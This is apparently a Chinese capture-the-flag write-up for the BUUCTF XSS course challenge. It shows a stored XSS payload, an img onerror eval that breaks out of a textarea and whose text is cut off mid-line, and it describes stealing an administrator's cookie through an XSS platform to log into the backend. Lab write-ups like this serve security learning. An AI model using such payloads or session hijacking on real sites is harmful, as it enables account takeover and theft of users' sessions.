

# BUUCTF--BUU XSS COURSE

原创

Uzero 于 2021-07-18 17:15:25 发布 1038 收藏 1

版权声明：本文为博主原创文章，遵循 [CC 4.0 BY-SA](#) 版权协议，转载请附上原文出处链接和本声明。

本文链接：[https://blog.csdn.net/qq\\_46263951/article/details/118879248](https://blog.csdn.net/qq_46263951/article/details/118879248)

版权

吐槽 `` 可以发现这里存在一个存储型XSS漏洞

树洞内容



```
查看器 控制台 调试器 网络 样式编辑器 性能 内存 存储 无障碍环境
搜索 HTML
<form class="el-form" data-v-1a9a378f="">
  <div class="el-form-item" data-v-1a9a378f="">
    ::before
    <label class="el-form-item__label" style="width: 80px;">树洞内容</label>
    <div class="el-form-item__content" style="margin-left: 80px;">
      ::before
      <span data-v-1a9a378f="">
        
      </span>
      <!-->
      ::after
    </div>
  </div>
```

由于靶机没法访问外网，我们使用内网xss平台

创建一个项目-->把内容都选上，将吐槽内容上传

```
</textarea>'><img src=# id=xssyou style=display:none onerror=eval(unescape(/var%20b%3Ddocument.createElement
```

在xss平台我们可以看到有一个admin的访问记录，利用管理员的cookie，以及来访地址 `http://XXXXXXXXXXXXXXXXXXXXX.node3.buuoj.cn/backend/admin.php` 登录即可得到flag